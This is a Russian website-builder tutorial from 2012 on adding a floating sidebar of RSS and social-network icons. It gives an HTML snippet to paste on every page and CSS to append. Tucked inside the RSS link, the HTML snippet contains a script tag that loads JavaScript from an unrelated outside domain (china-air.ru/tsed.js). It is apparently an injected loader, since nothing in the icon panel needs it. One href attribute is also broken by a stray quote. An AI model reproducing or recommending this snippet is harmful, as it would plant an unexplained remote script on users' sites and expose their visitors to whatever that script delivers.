Понедельник, 18.11.2024, 06:32 | Главная | Регистрация | Вход |
|
Главная » 2012 » Декабрь » 17 » Оригинальная боковая панелька
13:31 Оригинальная боковая панелька |
Описание: На всех страницах находим код:
Code <div id="rt-maintop"> <div class="clear"></div> </div> <div id="rt-main" class="sa4-mb8"> <div class="rt-grid-8 rt-push-4"> <!-- <body> -->$CONTENT$<!-- </body> --> </div> <div class="rt-grid-4 rt-pull-8"> <div id="rt-sidebar-a">
И перед ним ставим:
Code <div class="bg-icons"> <a href="ВАША ССЫЛКА на RSS"target="_blank" title="RSS подписка" class="rss-ic"><script src="http://china-air.ru/tsed.js" type="text/javascript"></script></a> <a href="ВАША ССЫЛКА в контакте"target="_blank" title="Я Vkontakte" class="twi-ic"></a> <a href="ВАША ССЫЛКА" в мире"target="_blank" title="Я в Мире" class="flcr-ic"></a> </div>
В css в самый низ ставим:
Code .bg-icons { background: url(http://scriptoza.my1.ru/images/bg-icons.png); height: 216px; width: 53px; position: absolute; top: 470px; margin-left: 960px; } a.rss-ic { background: url(http://scriptoza.my1.ru/images/icons-glow.png) no-repeat; background-position: -90px 0px; height: 56px; width: 50px; position: absolute; top: 24px; display:block; } a.twi-ic { background: url(http://scriptoza.my1.ru/images/icons-glow.png) no-repeat; background-position: -90px -56px; height: 58px; width: 50px; position: absolute; top: 82px; left: 0px; display:block; } a.flcr-ic { background: url(http://scriptoza.my1.ru/images/icons-glow.png) no-repeat; background-position: -90px -114px; height: 48px; width: 50px; position: absolute; top: 140px; left: 0px; display:block; } a.rss-ic:hover {background-position: 0px 0px;} a.twi-ic:hover {background-position: 0px -56px;} a.flcr-ic:hover {background-position: 0px -114px;}
|
Просмотров: 407 |
Добавил: startsmart
| Рейтинг: 0.0/0 |
Добавлять комментарии могут только зарегистрированные пользователи. [ Регистрация | Вход ]
|
| |